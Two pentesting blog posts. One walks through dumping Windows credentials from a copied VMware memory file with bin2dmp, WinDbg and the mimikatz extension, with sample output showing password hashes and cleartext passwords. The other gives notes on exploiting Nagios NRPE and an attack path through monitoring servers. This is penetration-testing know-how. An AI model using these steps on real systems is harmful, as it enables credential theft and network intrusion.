Mimikatz Against Virtual Machine Memory Part 1

Pentesting is a funny thing. Someone will drop some new way of doing something and then you get to reflect on all those missed opportunities on previous engagements. I remember when MC showed me all the Oracle stuff and I reminisced about the missed shells.

This post and part 2 is like that for me. I can't count the number of times i've had access to the folder full of an organization's virtual machines. I knew you could download the raw disk (vmdk) and use tools like volatility on them to carve out useful pieces of the file system but not memory.

While doing some research on vCenter/ESXi I  came across a couple of blog posts on the subject:

http://www.remkoweijnen.nl/blog/2013/11/25/dumping-passwords-in-a-vmware-vmem-file/
http://blog.gentilkiwi.com/securite/mimikatz/windbg-extension
http://vniklas.djungeln.se/2013/11/29/password-dump-from-a-hyper-v-virtual-machines-memory/

This of course sent me down the rabbit hole to see if I could do it.

Remko's post mentions you need a few things:

The Windows debugging tools:
http://www.remkoweijnen.nl/blog/2013/06/13/debugging-tools-for-windows-direct-download/
http://blog.gentilkiwi.com/programmes/windbg

The Windows Memory Toolkit
http://www.moonsols.com/windows-memory-toolkit/

Current mimikatz that supports the windbg magic
https://github.com/gentilkiwi/mimikatz

Gotcha #1: The free version of Windows Memory Toolkit limits OS and architecture you can do this on.  Restrictions are 32bit  up to Windows Server 2008.

The process:

#1 Copy the vmem/vmsn from the remote host

#2 Use moonsols bin2dmp to convert it into a dmp file. (I'm using the for pay version below)

C:\Users\user\Desktop>Bin2Dmp.exe "Windows Server 2008 x64-b2afd86a.vmem" win2k8.dmp

  bin2dmp - v2.1.0.20140115
  Convert raw memory dump images into Microsoft crash dump files.
  Copyright (C) 2007 - 2014, Matthieu Suiche
  Copyright (C) 2012 - 2014, MoonSols Limited

Initializing memory descriptors... Done.
Directory Table Base is 0x124000
Looking for Kernel Base...
Looking for kernel variables... Done.
Loading file... Done.
nt!KiProcessorBlock.Prcb.Context = 0xFFFFF80001B797A0

stuff happens
   [0x0000000040000000 of 0x0000000040000000]    [0x000000001DAFE000 of 0x000000
   MD5 = E8C2F318FA528285281C21B3141E7C51

Total time for the conversion: 0 minutes 14 seconds.

you should now have a .dmp file you can load into windbg

#3 Load the dmp file into windbg

Gotcha #2: You may have to run .symfix and .reload

kd> .symfix
kd> .reload
Loading Kernel Symbols
...............................................................
................................................................
.....
Loading User Symbols

Loading unloaded module list
....

#4 Load the mimilib.dll file

kd> .load C:\users\user\desktop\mimilib.dll

  .#####.   mimikatz 2.0 alpha (x64) release "Kiwi en C" (May 25 2014 21:48:13)
 .## ^ ##.  Windows build 6002
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                  WinDBG extension ! * * */

===================================
#         * Kernel mode *         #
===================================
# Search for LSASS process
0: kd> !process 0 0 lsass.exe
# Then switch to its context
0: kd> .process /r /p
# And finally :
0: kd> !mimikatz
===================================
#          * User mode *          #
===================================
0:000> !mimikatz
===================================

The tool output will walk you through the rest

#5 Find the lsass process
kd> !process 0 0 lsass.exe
PROCESS fffffa800dba26d0
    SessionId: 0  Cid: 023c    Peb: 7fffffd4000  ParentCid: 01e4
    DirBase: 2e89f000  ObjectTable: fffff880056562c0  HandleCount: 1092.
    Image: lsass.exe

#6 switch to the lsass context fffffa800dba26d0 in this case

kd> .process /r /p fffffa800dba26d0
Implicit process is now fffffa80`0dba26d0
Loading User Symbols
................................................................
......................

#7 Load mimikatz
kd> !mimikatz

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : WIN-3C4WXGGN8QE$
Domain            : UNLUCKYCOMPANY
SID               : S-1-5-20
msv :
[00000002] Primary
* Username : WIN-3C4WXGGN8QE$
* Domain   : UNLUCKYCOMPANY
* NTLM     : ea2ed0b14406a168791adf5aee78fd0b
* SHA1     : ab7bd2f6a64cf857c9d69dd65916622e3dc25424
tspkg : KO
---SNIP---

Authentication Id : 0 ; 173319 (00000000:0002a507)
Session           : Interactive from 1
User Name         : Administrator
Domain            : UNLUCKYCOMPANY
SID               : S-1-5-21-2086621178-2413078777-1398328459-500
msv :
[00000002] Primary
* Username : Administrator
* Domain   : UNLUCKYCOMPANY
* LM       : e52cac67419a9a2238f10713b629b565
* NTLM     : 64f12cddaa88057e06a81b54e73b949b
* SHA1     : cba4e545b7ec918129725154b29f055e4cd5aea8
tspkg :
* Username : Administrator
* Domain   : UNLUCKYCOMPANY
* Password : Password1
wdigest :
* Username : Administrator
* Domain   : UNLUCKYCOMPANY
* Password : Password1
kerberos :
* Username : Administrator
* Domain   : UNLUCKYCOMPANY.NET
* Password : Password1
* Key List
---SNIP---



There were a few other gotchas for Windows 8 and Windows 2012. I'll put that in part 2.

CG

Nagios and NPRE

Just a note for me for later as other blogs have been tending to disappear lately and so I don't get unduly excited when I see a nagios NRPE exploit/bug as there are a few obstacles to overcome.

Very detailed writeup for my summarized notes below:
https://www.cryptobells.com/zomg-remote-shell-exploit-or-not/

Nagios NRPE has now had at least two separate issues.

for less than 2.14 there is a metasploit module:
http://www.rapid7.com/db/modules/exploit/linux/misc/nagios_nrpe_arguments

for 2.15 and below there is a newer exploit that came out in April 2014 here:
http://www.exploit-db.com/exploits/32925

as of 23 May 2014 this is unpatched.

stuff to remember on nagios:

Obstacle #1. You have to configure the host running the NRPE daemon to talk to a nagios server, your requests to try to exploit the client running NPRE must come from one of the hosted specfiically listed in the nrpe.config. The default is local host only. If you aren't on the list, the application will forcefully disconnect your connection. You can test this by telnetting to the host on 5666.

Obstacle #2. The NRPE daemon must be configured with the dont_blame_nrpe to 1. This is not the default setting. However, if people are using the daemon I've seen this set, otherwise I don't think anyone would be able to interact with it remotely, thus to use NRPE you have to enable it. Please correct me if i'm wrong.

Obstacle #3. You have to enable commands. However, it looks like pretty much any commands that take arguments is vulnerable.

Attack Path:
If you can gain access to any server that is allowed to access the hosts running NRPE (typically the nagios monitoring servers) and you can run the various nrpe plugins you can potentially gain access to the monitored hosts.


As always if i'm way off  or there are other tricks please let me know via twitter or here in the comments and I'll update the post.

-CG